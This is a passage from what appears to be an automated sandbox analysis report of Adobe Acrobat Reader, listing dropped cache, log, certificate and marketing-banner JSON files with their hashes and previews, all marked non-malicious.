Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.238380077295961
Encrypted:	false
SSDEEP:	6:iOy0z0N1L+q2P92nKuAl9OmbzNMxIFUt8081ZmwO0tTLVkwO92nKuAl9OmbzNMFd:7y0zFv4HAa8jFUt8081/O035LHAa84J
MD5:	FAB785567E40B9F46A87695A72C518C3
SHA1:	52C164296296329A298249BA7F7CFCBB24592F1B
SHA-256:	FE3EDB3A419C4ADE695B4747E892DFA928B1421D57BDD61DD009DF5BAFAB01EB
SHA-512:	A1FE48C4A66227C8A53B03647D9A5D5E402C6791BC28C8ADB6BF26393B2897A49E7647A751AE0B50E6B5BE3367DDEBB6687D448AE5DE424CE6EC9CAA6D0987CA
Malicious:	false
Preview:	2025/03/07-04:13:58.963 9a8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/03/07-04:13:58.965 9a8 Recovering log #3.2025/03/07-04:13:58.966 9a8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.238380077295961
Encrypted:	false
SSDEEP:	6:iOy0z0N1L+q2P92nKuAl9OmbzNMxIFUt8081ZmwO0tTLVkwO92nKuAl9OmbzNMFd:7y0zFv4HAa8jFUt8081/O035LHAa84J
MD5:	FAB785567E40B9F46A87695A72C518C3
SHA1:	52C164296296329A298249BA7F7CFCBB24592F1B
SHA-256:	FE3EDB3A419C4ADE695B4747E892DFA928B1421D57BDD61DD009DF5BAFAB01EB
SHA-512:	A1FE48C4A66227C8A53B03647D9A5D5E402C6791BC28C8ADB6BF26393B2897A49E7647A751AE0B50E6B5BE3367DDEBB6687D448AE5DE424CE6EC9CAA6D0987CA
Malicious:	false
Preview:	2025/03/07-04:13:58.963 9a8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/03/07-04:13:58.965 9a8 Recovering log #3.2025/03/07-04:13:58.966 9a8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250307091402Z-158.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 117 x -152 x 32, cbSize 71190, bits offset 54
Category:	dropped
Size (bytes):	71190
Entropy (8bit):	2.377171494408181
Encrypted:	false
SSDEEP:	96:sYG64MgcMMbMYLNkve8pFfEMMMPteFW6gGlnaJDaPtR8tsi83shhhhTX6gn9hGE4:sYMlMEQFlRln3RNiBKt
MD5:	03970ECEB76EF0561CCE7D851B6F1045
SHA1:	493809D0BFE932992C8BA2753A2ACBBC8493E4FB
SHA-256:	7841EA15459C93081E2F852F4C0138CAB3DC8002DFD533DCF41BFE0A89480001
SHA-512:	7044562A431ACFE9A7DC64018B50E764E898D38715C76530EDE657AD1D417E5DE7EBCF236EEBEB725C60646A87436309791E883E3C462C55FC2A9081D678F31D
Malicious:	false
Preview:	BM........6...(...u...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 73305 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	73305
Entropy (8bit):	7.996028107841645
Encrypted:	true
SSDEEP:	1536:krha8mqJ7v3CeFMz/akys7nSTK7QMuK+C/Oh5:kAOFq+Mba9Ok7C/O/
MD5:	83142242E97B8953C386F988AA694E4A
SHA1:	833ED12FC15B356136DCDD27C61A50F59C5C7D50
SHA-256:	D72761E1A334A754CE8250E3AF7EA4BF25301040929FD88CF9E50B4A9197D755
SHA-512:	BB6DA177BD16D163F377D9B4C63F6D535804137887684C113CC2F643CEAB4F34338C06B5A29213C23D375E95D22EF417EAC928822DFB3688CE9E2DE9D5242D10
Malicious:	false
Preview:	MSCF....Y.......,...................I.................;Za. .authroot.stl.98.?.6..CK..<Tk......4..c... .Ec...U.d.d.E&I.DH..M.KB."..rK.RQ..}f..f...}..1....9...........$.8q..fa...7.o.1.0...bfsM4.........u..l..0..4.a.t....0.....6#....n. :... ....%.,CQ5uU..(.3.<7#.0..JN.$...=j\|w...#.oU..Eq[..P..^..~.V...;..m...I\|...l..@-W..=.QQ.._./.M.nZ..(.........`.$Z.9wW:W.]..8E.......I.D{..n...K:.m..^.(.S.......c..s.y..<...2.%o.o.....H.B.R.....11.\|!.(...........h.SZ........<...^....Z>.Pp?... .pT@p.#.&..........#VEV=.....p........y..."T=l.n..egf.w..X.Y..-G...........KQ.]...pM..[m..-6.wd:........T...:.P5Zs....c.oT`..F1#......EuD.......7....V ..-....!.N..%S...k...S. ...@.J..../..b!B.(=\../.l......`.\...q9..>4!b..8EH.....zdy.....#...X>%0w...i.,>c.z.g"p.S..2W.+mMs.....5Def.....#._D.4....>}...i...\.&`D.......z;..ZY.3.+t.`....z_.q'w.z.)..j3.+.co.s..:.........qK...{...E....uPO...#vs.XxH.B!..(t. 8k+.....G\..?..GF8....'..w.>.ms..\ve.nFN..W)....xi..u..5.f.l....

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7673182398396405
Encrypted:	false
SSDEEP:	3:kkFkl4NWFkNvfllXlE/HT8kt7vNNX8RolJuRdxLlGB9lQRYwpDdt:kKhNWemT8e7VNMa8RdWBwRd
MD5:	694FFECD99DFB0C15D6D6AD51F693B3F
SHA1:	3D791B105EF52A0164E9CF48A06103115BBEA552
SHA-256:	55F0823BD8260536A1C67C450E44BAB06EB17003079C3FA75D428A8708A46BF6
SHA-512:	634CB9A9030A11ACAFC07AA8098BC28A514C980FFE413F50F3A1AC43372BA6AE8C6FA344D14FA25B81202B7B0DE9A4528D794028F4AD00DDCAC16C61835F2CD3
Malicious:	false
Preview:	p...... ..........HA...(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	330
Entropy (8bit):	3.287136292755415
Encrypted:	false
SSDEEP:	6:kKemcQRnSN+SkQlPlEGYRMY9z+4KlDA3RUeqpGVuys1:GmfZkPlE99SNxAhUeq8S
MD5:	2F22D4A122FD0561E6317BD7D9660DA4
SHA1:	6B0A78A1B7E1479A86C45A62B65C21B49B021A37
SHA-256:	BDA4B9D2D950692AA0E7456417EE8F60482494717D37B02B8560917E97534421
SHA-512:	0771135093E1D1C1B629A90AFFA238246297D8D9293DDF82262C49B6B4DF51BEC3819324C289369F4D13C80587555DB5404C86D78FE176345A2A14AA01FF82F4
Malicious:	false
Preview:	p...... ........T..ZA...(....................................................... ..................(....c*.....Y...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".6.4.2.7.f.6.c.2.b.7.8.7.d.b.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	227002
Entropy (8bit):	3.392780893644728
Encrypted:	false
SSDEEP:	1536:WKPC4iyzDtrh1cK3XEivK7VK/3AYvYwgF/rRoL+sn:DPCaJ/3AYvYwglFoL+sn
MD5:	87EDBEE38F56C20298F25D5D3D4D1B5C
SHA1:	7F904E9615AC3186A87472EF366DD8202855B0B7
SHA-256:	A46B56D3ABCC137D1872DDF20EED4BCD7D04518282282ADB32DDCCF70D7FFBA6
SHA-512:	BBEBC1FCD5BC9AE042DD5782425BA8C47BF3EAC283B2487FC4E3FF6BF8101306DAB081E5135594165D4DC1AC120FF125AADBC5B3FFE7C646183C04DF77865E0D
Malicious:	false
Preview:	Adobe Acrobat Reader (64-bit) 23.6.20320....?A12_AV2_Search_18px.............................................................................................................KKK KKK.KKK.KKK.KKK.KKK.KKK@........................................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.............................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.........................KKK.KKK.KKK.KKK0....................KKK.KKK.KKK.KKK`....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK.KKK.....................................KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK.KKK@....................KKK.KKK.KKK.KKK`........................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.KKK.............................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.330907598254419
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzOvvKPHfAHJR+FIbRI6XVW7+0YpbxoAvJM3g98kUwPeUkwRe9:YvXKXzOnKPIHyYpW7UyGMbLUkee9
MD5:	4C52757BD204E7DEEB374D3D9AA962DF
SHA1:	637B52555C539CAB6B39B59D9D339CD46D20A445
SHA-256:	C8C2DCC6633EE98FCA9514F7B2943B160E140F075E1355604B8C845BBEA1D678
SHA-512:	8B19C0DAB655C3DA5CE5F9AC6A63F6F0D027B143EB1307B9EF10C99E4142AAA7DCC95C08009D87A372E7940C96E0FDC1EEFE6FF8E901113F8E85ED1183DD4812
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c59eca74-1b61-473a-97ac-104326b89dee","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1741515896915,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.268791283390625
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzOvvKPHfAHJR+FIbRI6XVW7+0YpbxoAvJfBoTfXpnrPeUkwRe9:YvXKXzOnKPIHyYpW7UyGWTfXcUkee9
MD5:	B893FFDA11B5017CAF11B0491E537816
SHA1:	3B53173889498D260C964CB01C98AFE2DE9FF98E
SHA-256:	179BA543BAFD7579B4FD05A2AA5546C7A1AE96C8363EC373B90C6394E3BD9617
SHA-512:	6824E2A46919D2AB8DFB951988DB8ACE97DD679DD798A20D2F404B30725F661BA272FC2B9E769DFF0B60C38B88764CC6040A54CCDCD380DF181D3736BDB7A981
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c59eca74-1b61-473a-97ac-104326b89dee","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1741515896915,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.247202956655486
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzOvvKPHfAHJR+FIbRI6XVW7+0YpbxoAvJfBD2G6UpnrPeUkwRe9:YvXKXzOnKPIHyYpW7UyGR22cUkee9
MD5:	4A60714B92187E08A2CA41B8D94F8E6C
SHA1:	E83007154CA78585A5CB5F097D58720B52CF061E
SHA-256:	4B3195E7F4E842DFB74EF2C5904855C072FCE42CAD0EFCAB6A6F3BABB16712FD
SHA-512:	4945F2757048357CDB7ACAFA3D5B82786197034F6F5EA61753C0B5AAB948632140EE9131656A28919FC4BDB1B0BCA36B16C4CD70F4490040DDF1D8A228CBCCC2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c59eca74-1b61-473a-97ac-104326b89dee","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1741515896915,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3086616763272065
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzOvvKPHfAHJR+FIbRI6XVW7+0YpbxoAvJfPmwrPeUkwRe9:YvXKXzOnKPIHyYpW7UyGH56Ukee9
MD5:	064F71757277435277073A917D6C4437
SHA1:	37E277A3B1894A65A1F026AEBD01D7828D74CF25
SHA-256:	510162080760AFEAC55A38B3052D2AC229B1BBEDAD4E441D0BA0F307A4A54D99
SHA-512:	078C2DB497D164CB0402C3C893AC66BD5AE59B84DCC7781E67EC439620CA46DF220D9ACA9BC3519265A2FFD47B7718D246C183AE0CE628AEF34789EF51BB30B7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c59eca74-1b61-473a-97ac-104326b89dee","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1741515896915,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2135
Entropy (8bit):	5.839878699339497
Encrypted:	false
SSDEEP:	48:YvZ8+hgYTUIy48Y/TWCaoIpbTNQDcSmjWA76Y:GDgqUx45/TEp/NQoSmjz
MD5:	A9E58C7305D7B21908FD8DC8B7082BFB
SHA1:	01AEE5B1025A34C6639BC7C1A24BF7D8DFF81DF1
SHA-256:	86663B025194D028480FF901D744296750475CE9581DC58D41C1FE49928519D9
SHA-512:	45A1F4DE242FB7B1DCAEB1D576709019ADEBCCA2D4C0833B64BDA65D8DA45BC03E9AD5536B740EBBF17B0942A91ADEE486BD47972507D2BFF0E4EE4F66CFAFD4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c59eca74-1b61-473a-97ac-104326b89dee","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1741515896915,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"98856_305507ActionBlock_1","campaignId":98856,"containerId":"1","controlGroupId":"","treatmentId":"c5f7d329-61e3-4065-87ed-fed4efd54ddb","variationId":"305507"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJkYXRhIjp7ImxocFYyQnlQYXRoIjp7Iml0ZW0iOnsiX3BhdGgiOiIvY29udGVudC9kYW0vYWNyb2JhdGRlc2t0b3AvZ3Jvd3RoL3JlYWRlci9lbi11cy9saHAtYmFubmVyL3YyL2NvbnZlcnQiLCJfdmFyaWF0aW9uIjoicmdzMDM2MS0wIiwidGl0bGUiOm51bGwsImRlc2NyaXB0aW9uIjoiRXhwb3J0IFBERnMgdG8gTWljcm9zb2Z0IFdvcmQgYW5kIEV4Y2VsLiIsImN0YUxhYmVsIjpudWxsLCJjdGFCZWhhdmlvciI6bnVsbCwiY3RhVXJsIjpudWxsLCJjdGFVcmxUeXBlIjpudWxsLCJ0

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.252375418052095
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzOvvKPHfAHJR+FIbRI6XVW7+0YpbxoAvJf8dPeUkwRe9:YvXKXzOnKPIHyYpW7UyGU8Ukee9
MD5:	96DFD827EDA66DCD2BC7BEE92D84EC7C
SHA1:	53A393DF25708AE7F908DACFDBA7FF4B34623387
SHA-256:	B8AD56976E49FF1199AE7C95DF79982A660E97C2764C58C79D3BAE9ADE4BAA9F
SHA-512:	AA03A63F579B0AEA7D60032B46737946CB2E9BEF539C5B38DDF9E7517A9EF1D7A966375BAC6DA680E85970B128E792C24857D95196DBA883A8DC390C35840571
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c59eca74-1b61-473a-97ac-104326b89dee","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1741515896915,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.253854283786911
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzOvvKPHfAHJR+FIbRI6XVW7+0YpbxoAvJfQ1rPeUkwRe9:YvXKXzOnKPIHyYpW7UyGY16Ukee9
MD5:	44276C46E3D6993542479282291911A3
SHA1:	10C47D5B02161F0AE97756DA248AF79541FBCECD
SHA-256:	CF7929CD2A70F039AD9D24BACEC580F8AE6E682841B5570141DCFAAAD8EE1763
SHA-512:	ACE7F2E8710E1BEFE7EF232F268B2804854AFB727F427E220EA36F1C18B747336C4BBAFA04BF4398AB900A91C76EED5D4BC56899C04877FA51B2DCE10FD029EA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c59eca74-1b61-473a-97ac-104326b89dee","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1741515896915,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2082
Entropy (8bit):	5.833962888534156
Encrypted:	false
SSDEEP:	24:Yv6XcyIHXit2LgE/yc15UINcR84b8erISIoiyulIBODneLKnlYMfi+s1pds+ldxY:YvZ8togYUIN48l/Giya0Oumi+6yTn76Y
MD5:	58B9549445FDD85D24CDD960063768DB
SHA1:	00ECCDECAF49FE36ADA1D25D605EDA1E9611C5C3
SHA-256:	8A364525CC3F1516DD4BBFC327BB350B1E0E667BFD9748EBB0E58BB2D2439F2E
SHA-512:	ED3899C58B2A3AC40BCE882F8F111F590B029EA974E4151E1F01AE470613AFC6A8CEC1B9FB88E756AC2F05F5A1433F4CB2273AC9C90BD7D37B2F87BD8C389F08
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c59eca74-1b61-473a-97ac-104326b89dee","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1741515896915,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Edit_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"98856_305507ActionBlock_2","campaignId":98856,"containerId":"1","controlGroupId":"","treatmentId":"14c0f2e3-1443-4ebd-acdc-c9f63dcb7699","variationId":"305507"},"containerId":1,"containerLabel":"JSON for DC_Reader_Edit_LHP_Banner","content":{"data":"eyJkYXRhIjp7ImxocFYyQnlQYXRoIjp7Iml0ZW0iOnsiX3BhdGgiOiIvY29udGVudC9kYW0vYWNyb2JhdGRlc2t0b3AvZ3Jvd3RoL3JlYWRlci9lbi11cy9saHAtYmFubmVyL3YyL2VkaXQiLCJfdmFyaWF0aW9uIjoicmdzMDM2MS0wIiwidGl0bGUiOm51bGwsImRlc2NyaXB0aW9uIjpudWxsLCJjdGFMYWJlbCI6bnVsbCwiY3RhQmVoYXZpb3IiOm51bGwsImN0YVVybCI6bnVsbCwiY3RhVXJsVHlwZSI6bnVsbCwidHJhY2tpbmdJZCI6IlJHUzAzNjEtRU5VLUNvbnRyb2wiLCJfbWV0YWRhdGEiOnsic

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.280412024752696
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzOvvKPHfAHJR+FIbRI6XVW7+0YpbxoAvJfzdPeUkwRe9:YvXKXzOnKPIHyYpW7UyGb8Ukee9
MD5:	9704D3E9BF8185C5B594C021F0F6F32C
SHA1:	DBB5BCB97C56D57C3B8AD0361B1F1994535CEB19
SHA-256:	7CF74BEB4720CF47F7C4557851A58FB03BCD11701201CFC3B8E2294A346E2B0E
SHA-512:	F91783C4179773243857F4E3A38BAD80C9B5F667D0755855162FCBCCD3BEE62B0DCB6B295095379B2178A62F15577203E3C8F445E63F3A5F53FCC8BB88CAC055
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c59eca74-1b61-473a-97ac-104326b89dee","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1741515896915,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2605245613940825
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzOvvKPHfAHJR+FIbRI6XVW7+0YpbxoAvJfYdPeUkwRe9:YvXKXzOnKPIHyYpW7UyGg8Ukee9
MD5:	AC1C30FC6C0C7CE70AFB2862AC3FA91F
SHA1:	911478824CC5FEC34F2FB1DB4486A231FF055B13
SHA-256:	18325112117F0EBB22362DBC55770F46801724DF704FA950FE5676E65415564D
SHA-512:	B8EFAADD84E067CCB4EB2E127D5A132B62098DA1C38BD640B45871E9B717682224C12F917D0EA49CBD068F10FDB0D10A3E23839BA64B71C745289B287C0380BB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c59eca74-1b61-473a-97ac-104326b89dee","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1741515896915,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.246461297721116
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzOvvKPHfAHJR+FIbRI6XVW7+0YpbxoAvJf+dPeUkwRe9:YvXKXzOnKPIHyYpW7UyG28Ukee9
MD5:	D0176CA07B7656B9396BF45CE5CD2AC3
SHA1:	70B01B9EDF36B377750747E70AD055DA2BDE3BB5
SHA-256:	AECC5F2AA3B3F857222DAF8A8B6CE6E436F803E3C97171DBDC0E21DEA9683539
SHA-512:	FC1CBD26956F0442153AF56331B909796113E3579B492AD26891D3ED2C03C56E0582D6235556ADF3AC21A771838F10A36D2F7BC4CB1F2A56D8AEDA550402FEA6
Malicious:	false
